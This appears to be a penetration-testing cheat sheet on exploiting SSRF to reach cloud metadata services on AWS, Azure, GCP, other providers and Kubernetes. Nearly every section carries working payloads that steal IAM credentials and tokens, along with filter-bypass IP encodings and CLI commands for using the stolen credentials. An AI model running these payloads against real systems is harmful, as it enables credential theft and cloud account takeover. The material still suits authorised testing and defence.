Cloud metadata
Cloud-hosted apps run alongside an instance metadata service that’s reachable only from the instance itself - including via SSRF. The metadata service exposes IAM credentials, network info, user-data scripts, and configuration. One SSRF on a cloud-hosted target frequently turns into full cloud account compromise.
# AWS (IMDSv1 - disable if hardened, but most legacy)?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01# Header required: Metadata: true
# GCP?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token# Header required: Metadata-Flavor: GoogleSuccess indicator: JSON or text response containing IAM/identity tokens, instance metadata, or user-data scripts.
Why this matters
Section titled “Why this matters”The metadata service is the most consequential SSRF target on a cloud host. Reaching it means:
- AWS → IAM role credentials → S3, EC2, Lambda, RDS, anything the role can do
- Azure → managed identity tokens → resource access scoped to the identity
- GCP → service account tokens → access to whatever Google APIs the SA has
- Kubernetes → service account tokens → API server access scoped to the pod’s role
A modest read-only IAM role still reads S3 buckets. A typical app role reads/writes its own resources. An over-privileged role (common in legacy deployments) is account takeover.
AWS - Instance Metadata Service
Section titled “AWS - Instance Metadata Service”IMDSv1 (legacy, no auth)
Section titled “IMDSv1 (legacy, no auth)”Reachable from any process on the instance with a simple GET request. Most exposed systems still allow IMDSv1.
# Discover the IAM role attached to the instance?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/# Returns: <RoleName>
# Fetch credentials for that role?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<RoleName># Returns JSON:# {# "AccessKeyId": "ASIA...",# "SecretAccessKey": "...",# "Token": "...",# "Expiration": "..."# }The credentials are temporary (typically ~6 hours) but full-strength while valid. Use them with the AWS CLI:
export AWS_ACCESS_KEY_ID="ASIA..."export AWS_SECRET_ACCESS_KEY="..."export AWS_SESSION_TOKEN="..."aws sts get-caller-identityaws s3 lsOther useful IMDS endpoints
Section titled “Other useful IMDS endpoints”# User data (often contains bootstrap scripts with secrets)?url=http://169.254.169.254/latest/user-data/
# Instance identity?url=http://169.254.169.254/latest/meta-data/instance-id?url=http://169.254.169.254/latest/meta-data/hostname?url=http://169.254.169.254/latest/meta-data/public-hostname?url=http://169.254.169.254/latest/meta-data/local-hostname
# Network?url=http://169.254.169.254/latest/meta-data/local-ipv4?url=http://169.254.169.254/latest/meta-data/public-ipv4?url=http://169.254.169.254/latest/meta-data/network/interfaces/macs/
# Security groups?url=http://169.254.169.254/latest/meta-data/security-groups
# Region (useful for AWS CLI region setting)?url=http://169.254.169.254/latest/meta-data/placement/regionThe full tree:
?url=http://169.254.169.254/latest/meta-data/# Returns top-level keys; recurse from thereIMDSv2 (token-based, harder)
Section titled “IMDSv2 (token-based, harder)”IMDSv2 requires a PUT request to get a session token first, then GET with the token in a header. Two roadblocks for SSRF:
- PUT method - most SSRF wrappers only do GET
- Custom header -
X-aws-ec2-metadata-token-ttl-seconds
If the SSRF can do PUT and add headers, IMDSv2 still works:
# Step 1: get token?url=http://169.254.169.254/latest/api/token# (PUT, with header X-aws-ec2-metadata-token-ttl-seconds: 21600)
# Step 2: use token?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/# (with header X-aws-ec2-metadata-token: <TOKEN>)When the SSRF is GET-only, IMDSv2 is generally not exploitable. Some applications proxy headers from the original request, in which case adding X-aws-ec2-metadata-token: <token> to your outer request gets it forwarded. Test before assuming.
IMDSv2 confused-deputy
Section titled “IMDSv2 confused-deputy”Some apps proxy specific headers but not method:
# Application takes a "method" parameter?url=http://169.254.169.254/latest/api/token&method=PUT&header=X-aws-ec2-metadata-token-ttl-seconds:21600Look at the SSRF parameter’s full surface - many implementations accept headers[], method, body as additional parameters that get passed through.
Azure - Instance Metadata Service
Section titled “Azure - Instance Metadata Service”# Same IP as AWS, different paths?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01# Header required: Metadata: true
# Managed identity tokens?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com# Header required: Metadata: true# Returns: { "access_token": "...", "expires_in": "...", "resource": "https://management.azure.com" }The Metadata: true header is mandatory. Without it, Azure returns 400. SSRFs that can’t add custom headers don’t work against Azure metadata.
Use the token:
TOKEN="<access_token>"curl -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions?api-version=2020-01-01"Azure resource targets
Section titled “Azure resource targets”# Different resource = different scope&resource=https%3A%2F%2Fvault.azure.net # Key Vault&resource=https%3A%2F%2Fstorage.azure.com # Storage&resource=https%3A%2F%2Fgraph.microsoft.com # Microsoft GraphRequest tokens for the resource you want to access. The managed identity may have different permissions per resource.
GCP - Metadata Server
Section titled “GCP - Metadata Server”# Different domain, header required?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token# Header required: Metadata-Flavor: Google
# Returns:# {# "access_token": "ya29...",# "expires_in": 3599,# "token_type": "Bearer"# }Without the Metadata-Flavor: Google header, GCP returns 403. Same problem as Azure - SSRFs without custom headers can’t reach it.
Useful GCP endpoints
Section titled “Useful GCP endpoints”# Service account email (which identity am I?)?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email
# Scopes (what can this token access?)?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
# Project info?url=http://metadata.google.internal/computeMetadata/v1/project/project-id?url=http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id
# Custom metadata (often contains startup scripts)?url=http://metadata.google.internal/computeMetadata/v1/instance/attributes/?url=http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys
# Recursive dump?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=jsonThe recursive dump is the fastest way to understand what’s available in one request.
GCP IP alternative
Section titled “GCP IP alternative”metadata.google.internal resolves to 169.254.169.254. If the filter blocks domain names but allows IPs, use the IP directly - same paths.
Other clouds
Section titled “Other clouds”Alibaba Cloud
Section titled “Alibaba Cloud”?url=http://100.100.100.200/latest/meta-data/ # tree?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/<RoleName>Different IP (100.100.100.200), no header required.
DigitalOcean
Section titled “DigitalOcean”?url=http://169.254.169.254/metadata/v1/ # tree?url=http://169.254.169.254/metadata/v1.json # all metadata as JSON?url=http://169.254.169.254/metadata/v1/user-data # user dataNo tokens (DigitalOcean doesn’t have IAM equivalent). Useful for SSH keys and user-data scripts.
Oracle Cloud (OCI)
Section titled “Oracle Cloud (OCI)”?url=http://169.254.169.254/opc/v2/instance/ # v2 (token-based)?url=http://169.254.169.254/opc/v1/instance/ # v1 (legacy)v2 requires Authorization: Bearer Oracle header.
IBM Cloud
Section titled “IBM Cloud”?url=http://169.254.169.254/metadata/v1/instance?version=2022-03-29# Header required: Authorization: Bearer <token from PUT to /instance_identity/v1/token>Token-based like AWS IMDSv2.
Kubernetes
Section titled “Kubernetes”When the SSRF runs in a pod, the pod has a service account token mounted:
# Read the token via file:// schema (if available)?url=file:///var/run/secrets/kubernetes.io/serviceaccount/token
# CA cert?url=file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Namespace?url=file:///var/run/secrets/kubernetes.io/serviceaccount/namespace
# API server reachable from pod?url=https://kubernetes.default.svc/api/v1/namespaces# Header required: Authorization: Bearer <token>Use the token directly with kubectl:
TOKEN="<extracted token>"kubectl --server=https://<api-server> --token=$TOKEN --insecure-skip-tls-verify get pods --all-namespacesA service account with cluster-admin (more common than it should be) is full cluster takeover. Even a namespace-scoped SA frequently has enough permissions to read secrets.
IP encoding bypass for metadata
Section titled “IP encoding bypass for metadata”When 169.254.169.254 is filtered:
?url=http://2852039166/latest/meta-data/ # decimal?url=http://0xa9fea9fe/latest/meta-data/ # hex?url=http://0251.0376.0251.0376/latest/meta-data/ # octal?url=http://[::ffff:a9fe:a9fe]/latest/meta-data/ # IPv6-mapped?url=http://169.254.169.254.nip.io/latest/meta-data/ # DNS?url=http://metadata.google.internal/... # GCP-only domain aliasSee filter bypass for the broader catalog.
Validating credentials
Section titled “Validating credentials”Before celebrating, make sure the credentials work:
export AWS_ACCESS_KEY_ID="ASIA..."export AWS_SECRET_ACCESS_KEY="..."export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity # confirm identityaws iam list-attached-role-policies --role-name <RoleName> # what can it doaws s3 ls # try the easy targetsTOKEN="<access_token>"curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/tenants?api-version=2020-01-01"TOKEN="ya29..."curl -H "Authorization: Bearer $TOKEN" "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN"curl -H "Authorization: Bearer $TOKEN" "https://cloudresourcemanager.googleapis.com/v1/projects"Common failure modes
Section titled “Common failure modes”- AWS metadata returns nothing. IMDSv2-only mode enforced (instance launched with
HttpTokens=required). If the SSRF can’t do PUT or set headers, AWS metadata is out of reach. Pivot to other internal services. - Azure/GCP returns 400/403. Required header (
Metadata: true,Metadata-Flavor: Google) not being sent. Check whether the SSRF parameter accepts custom headers (some apps pass throughheaders[]arrays). - Credentials work via
awsCLI but every command fails with AccessDenied. Role has minimal permissions - common for stripped-down app roles. Try the obvious resources (S3 buckets named after the company, the instance’s own region resources). If everything is denied, the role really is just “describe self” and the chain stops here. - Token expires mid-exploitation. AWS tokens last ~6 hours, Azure ~24 hours, GCP ~1 hour. Re-fetch periodically. For long operations, dump the role policy first and plan the action set.
- Metadata reachable but kubectl fails with TLS errors. Pod’s CA cert isn’t system-trusted. Use
--insecure-skip-tls-verifyor pass--certificate-authority=<path-to-ca.crt>from the file you exfiltrated. metadata.google.internaldoesn’t resolve. App resolves DNS through a non-default resolver that doesn’t know the metadata domain. Use the IP169.254.169.254directly.
The single best habit on a cloud-hosted SSRF: try metadata first, before anything else. The payoff is enormous and the probe is one request. If it works, you’re done with the section’s first half - the rest of the engagement becomes “what does this IAM role have access to.”
The defender’s mitigation is straightforward (IMDSv2-only on AWS, network policies on K8s, header requirements on Azure/GCP) but adoption is slow. Most engagements still land on legacy IMDSv1 or unhardened pod tokens.